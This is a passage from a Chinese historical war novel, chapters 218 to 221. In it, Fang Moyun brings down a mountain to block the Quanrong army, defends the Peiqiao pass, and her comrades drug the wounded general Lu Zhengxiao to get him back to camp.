润吉顿时想到，幼时父亲说过的话，当年父亲也是卢家军中一名普通的士兵，退役后，他还日日念着卢家军，说只要有卢家军在，民众便能安康，边关便有救。此刻，他终于明白，父亲之言如何掷地有声。
在月光下，茉云的身影如同一道燃烧的火焰，尽管孤绝却燃烧着那燃不尽的力量，她的每一步攀爬都显得如此坚毅无畏。众人目送着茉云爬上峭壁之巅，山风吹拂，也吹动了每个人心中的热血与敬畏。
茉云就坐在了悬崖峭壁的顶上，寒风中荡然着双腿，看向裴山远方，她心中却荡漾起了万千思绪，其实自己记得青岚说过，裴山不远处山脚下曾是青岚的老家，后来裴桥关外被铁骑踏破，从此再无人烟，活着的也迁居裴桥关内，这儿变成了关外……
她深吸一口气，轻轻的说，青岚，像你和裴山说一声对不住了！
目光由近及远，茉云望向了吉山方向不禁叹息，自己此生再艰难之时，好似也未向上天祈求过什么。一直以来，自己只信自己，然而在这寂静的山巅，心中忽然涌起一股前所未有的柔情与焦虑。
此时此刻，她唯一能为他做的……只有默默的对苍天和南境的所有英魂祈求，包括自己爹娘还有青岚——求你们护他安康无恙。
而自己，哪怕粉身碎骨定要守住裴桥。
218.好吗？
远在吉山外的镇上，众人正焦急的守在正啸床边，他面色苍白躺在榻上至今未醒，而就在此刻一道夜风吹开了窗，执礼马上起身关上窗，他居然一时没关住，这缕狂野的西风好似带着呼唤，卷席了整间屋子……
正啸竟然微微睁开了双眼，众人顿时欣喜的围了上去：“少主！”“大将军！”
他伸手艰难地抬起，指了指桌上的茶，一旁的千山立刻会意，端起茶碗递到他手中。
正啸喝下了茶略微喘息片刻，目光转向身边的小马，低声问：“你为何在此？”
小马挺直了腰，在一旁恭敬的回答：“是头，哦……不，方校尉知道您有难，让我去朗川借兵救援。”
话音刚落，正啸眉头微蹙目光里带着迟疑，他深深地望着小马，若有所思，眼中闪过一丝担忧。
而此时，营帐外传来急促的脚步声，边鸿远几乎是冲了进来，满脸焦急的冲着正啸便喊道：“姐夫！你可无恙？”
他还未近身，执礼等人都吃惊望向边鸿远。正啸一看到边鸿远，脸色瞬间一沉，声音陡然提高：“你缘何离开裴桥？”
边鸿远拿出怀中的信件，急声说道：“是执礼军师让我带兵来救的！”
他的话还未落，执礼猛地扯过信件，看了一眼便怒不可遏：“边参军，这上面根本连调兵印记都没有，你怎可私自调兵离开裴桥？你属实荒唐！这是伪造的书信！”
边鸿远顷刻愣住了，手足无措地呆在原地。
正啸双眉紧皱的马上问道：“你带走了多少兵马？”
边鸿远吞咽了一下，低声答道：“我一时情急，带走了七成兵马……”
话音刚落，小马在正啸身旁小声补充道：“大将军，您不要担心，方校尉已经带了南元的兵马去支援裴桥了。”
这话皆如同雷霆一个个炸响，正啸本来还保有镇定的神情瞬间化为惊慌失措，他一把抓住小马的手臂，几乎失控地问：“你说什么？”
执礼脸色骤变，马上追问：“整个南元的兵马不足两百人！她能带多少人去？”
小马挠了挠头，犹豫着说道：“头……她带了一百多人去了。”
正啸闻言猛地一震，他不顾一切地挣扎起身，鲜血瞬间浸透了肩上的纱布，大吼道：“拿我战甲来！”
众人立刻围上前去，晃过神纷纷劝阻：“少主，您现在伤势严重，我们马上从各处调兵增援，您无需……”
然而，正啸顿时怒目圆睁，吼声如雷：“滚开！拦我者，以违抗军令者处置！”
他推开众人，忿然朝门外走去。然而刚迈出几步，眼前忽然觉得天旋地转，还没等他反应，便眼前一黑，整个人直直地向地面倒去。
千山和万莫瞬时一拥而上扶住了他，正啸的脸色苍白如纸，已经完全失去了意识。
房内瞬间乱作一团，惊呼声此起彼伏，万莫大声唤道：“少主！”“大将军！”
而小马站在一旁，满头冷汗，结结巴巴地说道：“其实没事……我……我在大将军茶里下了蒙汗药……”
众人一时愣住纷纷转头望向他，小马摸了摸后脖子，声音颤抖的说道：“头，当日说了，哪怕把大将军药晕，也必须马上带他离开这个是非之地，回南营，此处险象环生，还不知道会发生什么状况……”
“有理！”执礼马上强行镇定了半分说道。
此时，屋外又传来急促的脚步声，随即沧海和鹿里一身风尘走了进来。一入屋，两人便被眼前的情景震住了，正啸脸色苍白地躺在床上，身上缠满了染血的纱布，人已完全失去了意识。
“大将军？”沧海将军皱眉冲上前吼道，鹿里更是满脸惊恐冲到了床前，一把跪下伸手摸着正啸的脉搏。
执礼强迫自己冷静下来，声音低沉而简明地将情况一一跟两人说明。
鹿里听到一半猛地转头盯住小马，脸色满是震惊：“你给大将军下药？”
小马被这一问吓得浑身一抖，勉强笑着解释：“我……我也是没办法，总不能真让大将军拖着重伤去拼命吧……”
小马的声音越来越小，目光躲闪不敢直视诸位将军。执礼深吸一口气，压下所有情绪，将整件事说完，包括边鸿远擅自调兵、伪造书信以及茉云独自带兵支援裴桥的决定，两人皆再一次错愕的看向执礼。
执礼叹息了一声，转身看向沧海将军，语气果断的说：“沧海，现在裴桥迫在眉睫，您马上率部增援——”
然而，他的话还未说完，就被一声急切的“不行”打断。
众人寻声望了过去，小马一改之前的怯懦，神色严肃起来：“头说过，如果救援倒了，沧海将军必须护送大将军回营。其他将军，哪怕是边鸿远都行，皆可以率部支援裴桥。此处是关外，什么事都有可能发生。大将军不能留在这里，必须由沧海将军护送安全回营！”
小马的一番话让帐内陷入了短暂的沉默。沧海将军紧皱眉头，沉思片刻，最终深吸一口气点了点头：“他说的有理。大将军若再有变故，后果不堪设想。鹿里，我带大将军回营。裴桥的重任就交给你了。”
鹿里没有丝毫迟疑，立刻抱拳应道：“末将明白，我这就带人赶赴裴桥增援！放心吧！”
执礼站在一旁，久久未言。他的目光扫过沉睡的大将军，又看向决心已定的沧海和鹿里，心中默默叹息。
他亦终于明白了茉云的深意——若朗川的长公主带兵来救，那正啸遭伏击的消息也必然传开了。峑戎的死忠盟国或一些不怕死的刺客，很可能会趁此机会铤而走险。此时的关外，已如龙潭虎穴，唯有沧海能让茉云放心，他定能护送正啸安全回营，避免更大的危机。
想到这里，执礼也点点头，沉声说道：“鹿里，裴桥安危，拜托你了。不论裴桥是如何境地，裴桥不能失守，方茉云也定要安然无恙的带回来！”
鹿里明白执礼此话的分量，沧海也重重的拍了一下鹿里的肩膀，鹿里咬牙点了一下头，马上准备去整军出发，旷野的风更加凌厉，似乎预示着一场更大的风暴即将来临。
而此时远在裴山之巅，茉云已经能感受到山林的微震，想来敌方已快到了，茉云起身站在山顶峭壁的巨石之上，脚下的碎石在滑落间，发出轻微的响声，却很快被黑夜的沉默所吞没，渐渐黑暗笼罩的山谷间似有细微的火光闪动，那是峑戎敌军悄悄逼近的信号，来了！
山中的众人屏息静待，手紧紧握着引线，丝毫不敢松懈。火药整齐地堆在山间的隐秘角落，周遭都充斥着压抑，每个人的眼神中都透着凝重和决绝，仿佛连呼吸都化作了山风的回声。
东方破晓时，敌军的脚步声像雷声一样渐渐靠近，远处的火光映出他们密集的阵列。茉云握紧了佩剑，冷冽的晨光映照在剑上，宛如她此刻的决心。
她缓缓俯瞰这将士们，低声说道：“等我一声令下，燃线，撤离，城中集合。”
没有更多的言语，也没有多余的表情，每一个人都在等待着这一战被点燃，山风都变得寂静，似乎连天空都屏住了呼吸。
“将军，峑戎大军已经到达山下！”山下的哨兵发出了约定的信号声，黎明之时山下挥舞的旗帜显得格外鲜红。
茉云目光如电，快速扫了一眼山下。只见山脚已经隐约可见黑压压的峑戎铁骑，他们如潮水般涌动，显然很快便会冲入山道。
她立于山颠稍等了半刻，确定了最佳时机，立刻发出了他们约定的点火信号声：“点火！”
士兵们迅速按照命令行动，但就在此时，一块山石因为炸药的重量突然崩落。连同炸药也一起滑落，眼看滚入山道密林中。
“那堆火药要是没点燃……”陆润吉大声喊道，急忙要飞身去寻。
“退后！按军令点火带领众人撤退！”茉云一声喝令，她忽得一跃而下，话音划过之时，她已经一跃而出坠入了丛林。
峑戎铁骑的先头部队已经逼近山腰，风中传来了战马的嘶鸣和士兵的呐喊声。
“撤退！”润吉点燃了引线命令道，火花顺着绳索迅速蔓延而去，“将军，快走！”
山道上的没有传来茉云的回应，陆润吉顿时满眼涨
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得通红，可是最终还是咬牙按照军令退下，带领队伍撤离。
就在引线即将接触到炸药的一刹那，“轰”的一声声巨响，他好似还眺望到惊天的火光和浓烟中，茉云的身影往火光而去……
就在他们安全退到后山脚下的路上，裴山又传来一声震天的巨响。火光冲天，巨大的轰鸣声回荡在山谷之间，整片山体一直在剧烈震动，无数的巨石从山顶滚落，砸向山道，将整个山路彻底封死。
峑戎大军陷入混乱，战马嘶鸣，士兵们四散奔逃却无路可择，只能面对前方的烟尘与碎石面露绝望。
“方将军！”陆润吉回头看向山顶吼道，却不见茉云的身影。烟尘散尽，裴山上毫无生气的一片死寂，只有燃烧的火光和落石的残骸映入眼帘。
“将军！”任陆润吉和众人嘶声裂肺的喊声，却无人回应。
惊天动地的炸山行动成功了，峑戎大军被彻底阻断，他们无法也不敢在乱石坠落的山中继续前进。然而，那道挺拔的身影，却消失在了裴山的烟尘之中。
而裴桥关卡的城门前，陆润吉带着队伍缓缓靠近。每个人的神色都如覆了一层灰，步伐沉重，像是从绝境中爬回来的亡魂。
他们一进关，苏云青远远看见他们，快步上前，目光焦急而迫切：“方茉云呢？”
他的声音微颤，带着不敢确认的希望。然而，队伍中无人回答。陆润吉低垂着头，眼中泛着泪光，嘴唇紧抿，压抑着这不堪承受的痛楚。
苏云青听不到回应，整个人呆滞在原地，脸色苍白，老马猛地抓住陆润吉，怒不可遏。
“你们怎么能丢下茉云！”他的怒吼在城墙间回荡，震得人心神俱裂，他转身大吼：“开城门！我去找她！”
守城的士兵目光不自觉地落在陆润吉身上。陆润吉缓缓抬起头，声音虽低，却透着坚定：“方将军下令，没有她的命令，不可以再开城门。”
老马的怒火又窜上头顶，他直指陆润吉，怒目圆瞪。
“若她出了事，你担得起吗？她为了裴桥来的，若在外头遭遇不测——”老马的嗓音突然哽咽，转而变成不顾一切的嘶吼：“开城门！开门！”
就在这一片混乱中，关上忽然有卫兵指着外面喊道：“有人！”
众人齐齐愣住，目光纷纷投向城外。晨曦的光芒下，一个挺拔的身影正不慌不忙的走来，姿态刚毅，眉宇间含着冷峻的风霜，却未失半分气势，此人便是方茉云！
苏云青的眼眶一热，扶住了城关的石砖墙，喉间哽塞，连话也说不出来。
老马怔了一瞬，眼中掩不住的惊喜与热泪交织，大吼一声：“是茉云回来了！”
“方将军！”众人群情激动的喊道。
茉云则一脸波澜不惊的咬着手中野梨说道：“开门啊，嚷嚷什么！”
城门缓缓开启，寒风涌入，裴桥的众人再也忍不住情绪，纷纷跪下迎接他们的将军。
茉云目光扫过这些熟悉的面孔，无语的说道：“起来起来，战事未尽，全军立即整军守城！”
她的声音如此冷静而深沉，却让人听得心潮澎湃，众人军心振奋的说道：“是！”
老马迎上来，眼眶还是红的，他擦了擦满是皱纹的脸上挂着的泪水，语气中透着无奈和愤怒：“你啊，总这般疯！你若真有个三长两短，我拿什么跟人交代！你知道我在城里急成什么样吗？”
茉云咬着野梨，带着几分不羁和无语的问道：“我能有什么事？再说，我要跟谁交代？”
“大将军啊！”老马愤然的瞪向茉云。
茉云白了老马一眼，随意地咬着野梨，洒脱而坚毅的往营帐径直走去。入营帐时，秋风瑟瑟随着掀起的帘幕一并涌入，带着关卡的清冷气息。
她伸手打了些清水，洗去掌中和手臂渗出的斑斑血迹，看着水盆中自己略显疲惫却依然坚毅的面庞，眼前却透出一丝迷离……山已崩，地俱裂，众人皆松了一口气，而自己的心仍若惊涛骇浪，可我仅能静静站在此，没有让任何人知晓，亦没有任何人可告知我，你还好吗？
219.感应
众人亦跟随进入了营帐，茉云放下手帕，从怀中摸出几个青绿带黄的野梨，放在桌上，声音淡然却带着一丝轻松：“吃吧，这山中的梨子汁多酸甜，炸了属实可惜。”
苏云青一直紧绷的脸终于松动了，眼中湿润却也忍不住笑了：“你还真是一点没变！”
她乐了一边说，一边拿起一颗随手擦了擦，边咬着边自顾自地自嘲说：“赶路时停下来捡了几颗，想着总比空手回来强，结果差点人和 梨都飞了。”
营帐中一时间又安静下来，只剩下梨被轻轻啃下的声音，老马瞪着她却只能无可奈何的叹了一口气。
苏云青忍不住笑着摇头，茉云自幼便是这般不拘一格又无所畏惧，总有人会心甘情愿追随她去冲破一切。
茉云随意地咬着梨，淡然说道：“行了，我也歇会儿，你们留点力气，整军守城。”
“是！”陆润吉等立即抱拳说道。
众人退出了营帐，茉云躺在榻上，以往疲倦之时，沾床就睡的她，如今却是辗转难眠，她顷刻间想起了戏文中的话便恼了，戏文说若是两情相悦，必能心意相通，可是自己压根不知道他的安危，果然戏文都是骗人，可是转念一想，也不能怪戏文，跟卢正啸那家伙压根没得两情相悦一说，那混蛋变脸比翻书还快！
茉云顷刻抱着头叹息道，任那混蛋再恶再混，可我只想他活着，老天爷，千万要留着他的命啊……
而此刻，关外的山道上巨石乱坠，碎裂的山石堆积如山，将整个山下的道路彻底堵死。浓重的尘土在寒风中弥漫，仿佛还在昭示着山崩的威力。
峑戎的士兵站在断裂的山崖前，面面相觑，好不容易镇定下来的马匹，马蹄还是不安地刨着地面。
领军的将领是峑戎的副帅达道，他脸色阴沉握紧了手中的马鞭，却只能无奈地下令：“原地休整！”
峑戎将士闻言只能默然，余部此时也只能停滞不前。大军无法通过山道，幽戎的援军还未到，达道副帅只能飞鸽传书像幽戎汇报。
晚上幽戎扎营休息之时，集益便收到了飞鸽传书，顿时愤怒至极，他马上转身入营帐汇报。
幽戎的中军大帐内营火摇曳，光影在帐帘上交织出凌厉的线，集益急步进来单膝跪地。幽戎正靠坐在虎皮椅上，手中把玩着一枚锋利的匕首，神情淡然地听集益低声汇报着飞鸽传书中内容——茉云炸山封路，逼他们大军绕道平川。
幽戎闻言手中的匕首微微一顿，瞬间抬目望向集益手中书信，居然丝毫不恼，反而嘴角浮现出一抹笑意。
他缓缓将匕首插在案上，像是在听到一则出人意料却在情理之中的故事。他眼中顿时闪现光芒，饶有兴致的大声笑了：“她当真是什么事干不出来！”
帐中人都低着头，听不出主帅的情绪是怒是喜，却又不敢抬头看。
唯有集益小心地补充：“副帅请示大帅您，前方山石摇坠，是否绕道平川之路和我们汇合，再攻向裴桥……”
谁知话未说完，却被幽戎抬手打断。
“她就是想用这些乱石阻道换时间。”幽戎起身背对着属下，望向帐外深邃的夜空，营火的光芒映在他的脸上，显得冷峻而危险，“但时间，不是她想要多少，我便给能多少的。”
他的语气淡然，周身却像一头蓄势待发的猛兽，随时准备出击，他缓缓转身目光如刀般冷冽：“传令下去，让达道副帅炸山开路。我倒要看看，我偏不绕道，她还会玩出什么花样？”
幽戎声音不高，却透着不容置疑的威严，集益愣了半刻，马上伏低头抱拳说是，然后退出了帐外。
“你在裴桥是吗？”幽戎望向帐外裴桥的方向顿时笑了，帐外的风愈发刺骨，幽戎的笑意在寒夜中化作一股阴鸷的执着，仿佛满心都在期待与她这场较量，“传令下去，全军明日破晓即开拔，赶赴裴桥关！”
“是！”
翌日，裴桥的夜色依旧静谧，然而，一声声震耳欲聋的爆炸声突然传来，如惊雷般撕裂了夜空。裴桥的民众都被这突如其来的巨响惊醒，火光在远方的裴山间跳动，映得半边天如同白昼。
此时，茉云站在关上的高处，披风随风猎猎作响。她居高临下望向裴山方向，她心中不禁低声咒骂道：“那个疯子……如今连自己的部下也不当人看了！”
她紧紧握着腰间之剑，骨节已泛白。爆炸的余音犹在远处回荡，火光在不断消散。茉云明白，炸毁裴山之后，战局看似暂时向己方倾斜，但战场之上转瞬即变！此时风声呼啸，传来山道上的淡淡硝烟味，峑戎的第二波进攻，必将来势凶猛！
“疯子终究是疯子，可这盘棋，我也定要接着下。”她冷冷望向关外裴山，良久之后伏低头看着卢正啸这些年亲自布置新建的关卡，然后又抬目望向即将破晓的天际。
茉云最终坚定发的转身，像全军下令，裴桥北靠大山，城关有三门，陆润吉带队守最难守的南门，老马带队守西门，苏云青守东门，自己带着一支队伍在城中随时支援各门。
她还下令大战在即，明日清晨天一亮，她在城关召开了一次全军誓师大会，城中所有参战的青壮年和百姓皆可列席。
几个时辰后，天色灰蒙，空气中夹杂着硝烟和尘土的味道，裴桥城内，战前的气氛凝重得让人喘不过气来。所有将士和参战的青壮年，还有很多百姓都来到了城关，参加誓师大会。众人屏息凝神，将所有期许的目光投向站在正中的茉云。
然而，茉云却一反常态，没有如她进城时那般慷慨激昂地说半句忠君爱国的豪言壮语。她只是缓缓走到中央，眼神沉静语气低缓，却带着一种深沉的力量。
“我今日想跟将士们和乡亲们说些心里话，”她开口，声音在空中回荡，带着最深的祈愿与真诚，“我也是南境人，可我自幼颠沛流离，受尽人世坎坷，父母早亡，兄弟离散，一人孤苦伶仃，尝尽被人抛弃的滋味。至今，没有家，身边也没有亲人。”
她停顿片刻，目光掠过面前的众人，那些带着家乡口音、面容疲惫却心中都是不安的将士和百姓。这些守军士兵，很多也是是裴桥附近的征兵而来的男子，而那些城中的青壮，他们老母、幼子，此刻就在城中。
“人活一世，什么最重要？”她的声音忽然变得哽咽，目光却更加炽热，“那些权位、名利，钱财都可是过眼云烟，只有家必须一直都在！你夜归时家里灯火为你而亮，你风寒时家中有人为你煮一碗热汤，家是你无论落魄风光，疲累欣喜也能回去的地方。而裴桥就是这里所有人的家。”
她的手缓缓指向城外的方向，目光如炬：“我见过无数战乱中被铁骑踏破，毁于一旦的家园。妻离子散，老无所依，孤儿哭泣，家破人亡，所有一切皆化为一片废墟。”
她深吸一口气，眼神中满是决绝：“但裴桥一定不会！因为裴桥有我们，还有你们，卢家军的援军在马不停蹄赶来。我知道善良的民众面对残酷的铁骑，都会心生恐惧，但恐惧也不能让我们退缩，因为我们家就在这里！”
话音未落，众人皆已经群情激奋的红了眼眶。
茉云继续说道：“裴桥在，我们在，家就在，此刻我们能做的，唯有生死与共！不让敌军铁骑踏入我们的家园！”
帐内一片寂
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静，气氛压抑到极点，连烛火都似乎在颤抖。突然，一名青壮年男子站了起来，用最本土乡音吼道，声音嘶哑却充满坚定：“将军，我们绝对不能让那群畜生进裴桥！”
紧 接着，另一个声音也响了起来：“为了咱的妻儿老母，为了我们的村子，跟贼人拼了！”
一个接一个的声音响起，从一开始的微弱，到最后汇成了震天的呐喊：“对！裴桥在，我们在！”
茉云环视全场斗志昂扬的说：“好，我们与裴桥，同生共死！”
这一刻，所有人，包括城中的青壮年，都将恐惧抛诸脑后，取而代之的是保护家园的决心，所有人瞬间变成了热血沸腾战士。他们知道，这不仅是一场保卫国土的战斗，更是一场为家人拼命的抗争。
每一个人都握紧武器摩拳擦掌，纷纷按照部署奔赴自己的守地。陆润吉临行前站在原地，目光中带着崇拜与敬仰，深深地看向茉云，仿佛她存在本身就是一种无声的鼓舞。
茉云长长地吸了一口气，站在营帐门口眺望远方。她知道，第一波攻势只是开端虽被山体阻挡，但第二波甚至第三波攻击很快就会到来。而且，她心底隐隐感觉到幽戎此刻在亲自赶来的路上，当他一到，攻势必然更加猛烈。
就在她沉思之际，察觉到一道目光一直停留在自己身上，她侧目望去，发现是苏云青，他的目光复杂却温和。
茉云挑了挑眉，随意一笑的调侃道：“怎么？苏刺史如此忧心啊？”
苏云青却风轻云淡地笑了：“倒不是担心战事，不过你刚才所言……你尝尽被人抛弃的滋味，我好像依稀记得，并不是你被抛弃了吧。当年是你悔婚，狠狠地抛弃了我吧？”
茉云闻言一愣侧头看向他，眉间浮现一丝意外，与此同时，站在一旁的老马听到这话也是一愣，随即猛地瞪大了眼睛，像是突然想起了什么，当年茉云二哥好像确实提过，说茉云自小婚配的是苏家的公子。”
茉云回过神来淡然一笑，语气里没有丝毫波澜：“咱两自幼就像兄妹似的，结为夫妻多尴尬。”
苏云青毫不退让，却又温和望向茉云：“那是你这么想。我可从未当你是妹妹，自幼便想着娶你。”
茉云听到如此直白之话，随即无语地笑了，语气依旧轻松地说：“可我就把你当兄弟！再者，你现在过得不好吗？我那天见到你女儿，那般可人讨人喜欢……当然，你娘还是那般面目可憎！”
苏云青闻言，随即无语也释然地笑了：“这些年，你有没有遇到愿嫁之人？”
茉云望向远方，语气里多了一分洒脱随意的说：“我愿意嫁，人也不一定愿意娶我。”
苏云青故意调侃的说道：“谁啊，这般大胆，你昔日不是说，动手打晕抬走便是！”
茉云顿时笑得前俯后仰，她幼时便是这般口无遮拦的，昔日她就是这般给别人乱出主意的，想想自己跟南华的昆少那个变态，也没多大区别。
“下次你介绍我认识。”
“好！”茉云笑着转身，话音刚落，就正对上老马那带着审视的目光。
老马盯着她，眼神中满是意味深长：“是不是因为那人你打不赢啊？”
茉云顿时一时无言以对，无奈地叹了口气，摇头低声道：“我怎么把你忘了，幸亏小马不在。”
她转身走向城关，心中终于多了一份轻松，似乎即将到来的战火，也不那么沉重了。而他的身影浮现在眼前，不知道为何，她好像感应到了他已然脱险，大老鹰是这么勇猛霸气之人，连自己这么狠的人，都搞不赢他，他又怎么可能这么轻易葬送他手呢。
220.热烈
翌日清晨，晨光尚未爬上山巅，裴桥东门外已然乌云压境。峑戎的大军如潮水般涌来，旗帜如林，刀戟闪着冷冽的光。乌泱泱的部队将整个裴桥关团团围住，宛如一张巨大的网，试图将裴桥吞噬。
然而，他们惊讶的发现，裴桥城关之上却并没有城中空虚的迹象，守军士气高昂，箭楼上排列整齐的弓弩和兵器让人望而生畏。
峑戎领军之人是他们以勇猛著称的达道副帅，他骑在高大的战马上，轻蔑的打量着裴桥城关，神色冷峻，忽然间，他举起手中的战刀指向城门，大喝一声：“攻城！”
峑戎的攻城队伍随即如猛兽般扑向城下，而此刻，守将将士早已在城头按照茉云的部署严阵以待。茉云目光如炬手指一挥，下令道：“放！”
数日来从山中备下的大石、大木此时派上了用场，巨大的石块和粗重的圆木如同天降的利器，从城墙上狠狠砸下。城下的峑戎士兵来不及反应，猝不及防间便被这些巨物砸得人仰马翻，阵型瞬间混乱。惨叫声、喊杀声交织在一起。
接着裴桥的守军没有丝毫松懈，城楼上箭雨如飞蝗般倾泻而下，与不断滚落的大石交相呼应，让峑戎士兵举步艰难。
眼见攻城受挫，达道副帅怒目圆睁，策马向前挥舞战刀，吼道：“后退者斩，必须拿下裴桥！”
峑戎士兵闻令而动，纷纷哪怕提起手中兵器，疯狂地朝着城墙砍去，试图用暴力撕开一道缺口。
然而，站在城楼上的茉云挑眉冷眼旁观着，倚着城墙指着那些正在拼命砍城墙的敌军，对身边的苏云青说道：“这城关是卢正啸……也就是卢家军大将军亲自派人修的，固若金汤，咱看着就行，他们这用刀砍，不知砍到何年月，反正亦撼动不了分毫？”
说完，苏云青顿时松了口气的感叹道：“大将军为国为民之心属实让下官钦佩！”
茉云伸手触摸到墙砖，正啸下令修筑的城墙用料厚重，结构精巧，刀剑不过在表面留下些许白痕，根本无法伤及城墙。
茉云目光中却浮现出一丝复杂的情绪，想当年，他力排众议，修这边关驻防之时，朝廷多少人说他好大喜功，不顾民生疾苦，自己当年在京城也曾听过无数对他的非议。
可如今……她环视城内坚守的将士和安然无恙的百姓，京城那些高官厚禄养着的人，谁又能体会他这一片苦心？
此时任峑戎士兵如何疯狂的砍墙皆是枉然，茉云俯瞰这些徒劳的动作，冷冷的说道：“尽管慢慢砍，我倒要看看，这裴桥的关卡下是你们刀快，还是守军箭快。”
风声中夹杂着峑戎士兵的怒吼和呻吟，达道副帅此时远远注视着，可是这场惨烈的战斗，从早上打到夜幕降临，双方似乎都没有退意，可是敌方伤亡惨烈，最终夜幕降临，达道咬牙抬手命令将士先撤回。
顿时关卡之上一片欢呼，可是茉云则异常冷静，这不代表结束，反而代表是未来更猛烈地进攻！因为她感觉到了，幽戎的大军正在靠近……
第二日，城外居然没有攻城的动静，达道昨日实属轻敌，今日他带着人实地勘察了城防，最终决定明日攻打南门，南门距离北边的山体最远，想要在短时间内搬运滚木巨石进行防守几乎是不可能的。
此外，南门地势宽阔，适合大军展开冲锋，一旦攻破，必定可以直接席卷整个裴桥城。
然而，南门的守将却是积蓄多日怒火的陆润吉，此人以彪悍著称，骁勇善战。
第三日清晨，当峑戎的攻城军抵达南门时，达道副帅发现情况似乎比预想的还要顺利一些——南门的城头箭手稀疏，滚木巨石的攻势亦显得无力，显然是城中主力不在此，许是没想到峑戎会改攻南门。
他不禁心中窃喜，当机立断下令推出峑戎大军的庞然怪物——攻城车。这攻城车体型巨大，仿佛是一头沉睡的猛兽，被推动时铁轮轧地，发出震天巨响，气势逼人，峑戎打算以此车轰开南门，踏平裴桥。
然而，意想不到的一幕骤然发生。就在攻城车缓缓逼近城墙时，沉寂的南门竟然轰然打开！一瞬间，达道心头狂跳，莫非裴桥守军不敌，准备开门投降？可未等他细思，便见一道黑影如猛虎般冲出，为首者正是陆润吉。此人披挂铠甲，手持巨斧，带着一队悍勇之士疾驰而来，直扑攻城车。
攻城车旁的峑戎工兵大多是操控器械之人，擅长的是构筑攻具与操作攻城器械，何曾抵挡这般凶猛的冲杀？一时间阵脚大乱，喊杀声中竟被陆润吉带人全数战下。
随后，陆润吉迅速按茉云部署，以迅雷不及掩耳之势，将挂在马上之火油，尽数泼洒在攻城车上，动作行云流水，泼完就跑立刻撤回城内，南门再次重重关上，快得让峑戎后方的主力还没来得及做出任何反应。
城头之上，茉云站定目光冷然如霜。她手执长弓，将箭尖轻轻探入火盆中，火焰燃起的一瞬，她弯弓搭箭瞄准了攻城车。一声清脆的弦响划破长空，火箭如飞星般坠向攻城车。
顷刻间，泼满火油的攻城车“轰”的被火焰吞噬，烈焰伴随风势席卷而上，黑烟直冲云霄，铁与木的巨兽也片刻便化为灰烬。
达道见状，脸色大变，站在阵前怒目圆睁，嘴唇抖动，却一句话都说不出来。茉云远远望着他的神情，唇角倒是不由扬起一抹笑意。此时达道副帅已经大怒，他下令不顾一切攻城。
接下来便是峑戎之军像陷入了疯狂，围城而斗，茉云带领所有将士和青壮年以顽强的意志拼死抵抗，不眠不休缠斗，达道拼尽一切办法攻城，但是城门就在眼前，他却如何攻不下。
第四日的黄昏，战场上的气氛依旧紧张，对峙已达两天一夜，峑戎大军虽兵力雄厚，却始终未能攻开城门，双方都极为疲惫。
而此时达道副帅座下猛将黑河将军，早已气得脸色铁青。他是戈壁荒野上的峑戎勇士，从未受过如此窝囊气。平日里，他领兵不是收拾部落，就是征伐蛮荒，刀兵相见强者为尊，可如今却被一座小城死死拖住，这对他而言简直是奇耻大辱。
终于，黑河的愤怒达到了极点。他癫狂地大吼一声，单枪匹马奔向城西门，大声叫嚣着要和城内的主帅一决生死。
谁知，就在黑河冲到西门下的那一刻，紧闭的城门突然轰然洞开！随即，一个威风凛凛的身影持枪杀出——正是方茉云，她毫无惧色，策马直奔黑河。
黑河大喜过望，以为对方来轻敌送死，立刻举枪迎战。然而，还没等他多想，方茉云一连串的凌厉攻势，四两拨千斤的诡
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诈打发，便已逼得他手忙脚乱，片刻之间便彻底被压制。
黑河试图反击，但茉云的枪法精准而狠辣，攻势如同狂风骤雨一般毫不留情。只见茉云枪尖一扫，便将黑河从马背上挑落在地，顿时关上将士狂呼胜利，军心大涨。
而峑戎大军一片哗然之时，茉云却丝毫不恋战。她冷笑一声，利落地翻身上马，迅速返回了城中，而那沉重的城门也随着她进入后再次紧紧关闭。老马站在她身后，目瞪口呆地看着这一切，满脸无语瞪向她。
茉云则乐了说道：“练了大半年枪，我就想试试！”
远处，峑戎的达道副帅正策马赶来，亲眼目睹这一幕，脸色瞬间铁青。黑河私自挑衅敌方大将，却以如此惨败收场，这对军心的打击无疑是致命的，他暴怒不已，此刻却无能为力。
城墙之上，茉云俯视着下方的峑戎大军，眼神中满是轻蔑。风吹起她鲜红的披风，战甲在夕阳下熠熠生辉，那姿态更是威风凛凛。
可就在此刻，忽然，远方传来一阵低沉而激昂的峑戎号角声，像是从大地深处涌出的咆哮。茉云闻声一愣，手中的战剑微微一颤，她眉头紧蹙目光却不由自主地转向远方。
一时间，号角声瞬间点燃了峑戎将士们胸中的火焰。那些刚才还陷入颓丧的峑戎士兵，好似顷刻被唤醒了斗志。他们的目光回头朝向号角的方向望去，眼中迸发出热切的光芒，喧闹的呼声此起彼伏，士气如同狂风过境般迅速席卷全军。
茉云深吸了一口气紧盯着前方，耳畔飘荡的号角声与战士们的呐喊声，都在告诉她，是幽戎来了，他的到来，瞬间让峑戎的战局重新燃起了烈焰。可是于裴桥呢……
响起的是幽戎集结的号角，顿时达道副帅迅速带领众人撤出了战场与幽戎的部队汇合。
号角声渐渐停息，天地间仿佛连风都停了，战场上空空如也，回归了一片寂静。茉云站在原地，凝视着远去的方向，心中清楚，明日将是生死未卜的生死之战。
而在幽戎的军营中，火光摇曳，达道副帅带着一众将领进来，跪在幽戎的面前，甲胄撞击地面发出低沉的声响，显得格外肃穆。
达道自行磕头请罪，可他的脸因愤怒而涨红，最终忍不住当着幽戎的面，怒斥黑河莽撞挑衅方茉云，被她一枪挑落下马，痛击军心。
黑河跪在地上低垂着头，被骂得肩膀微微颤抖，忍耐不住失声痛哭。
幽戎一直静静地看着，目光深沉如寒潭，却没有一句话打断达道的训斥，直到达道的怒气渐渐平息，也意识到自己失态，马上继续伏跪请罪。
幽戎最终缓缓抬起手，声音低沉而威严：“休整一夜，明日天亮，随我攻城！”
“是！”达道和众将领连抱拳忙行礼道，然后恭敬的退出营帐。
营帐安静下来，幽戎看着黑河踉踉跄跄地起身向外走去的背影，冷峻的脸庞居然浮现出一丝笑意。大战之时突然莫名其妙的将打开城门，找人大打一架就跑，这也是只有方茉云这等疯子才能干出之事！
“她何时练的枪法？”他笑着撑着头，望向帐外裴关的方向，燃烧的火光映在幽戎的眼中，既有狠绝，又带着一抹极深的期待，与她又是许久不见，但重逢总是热烈。
221.疯癫
翌日，晨曦的阳光刚洒向裴桥，幽戎带领的峑戎大军已浩浩荡荡直逼南门。千军万马行进间，大地震动如雷，尘土飞扬遮天蔽日，整个战场如同被一股无形的压迫所笼罩。
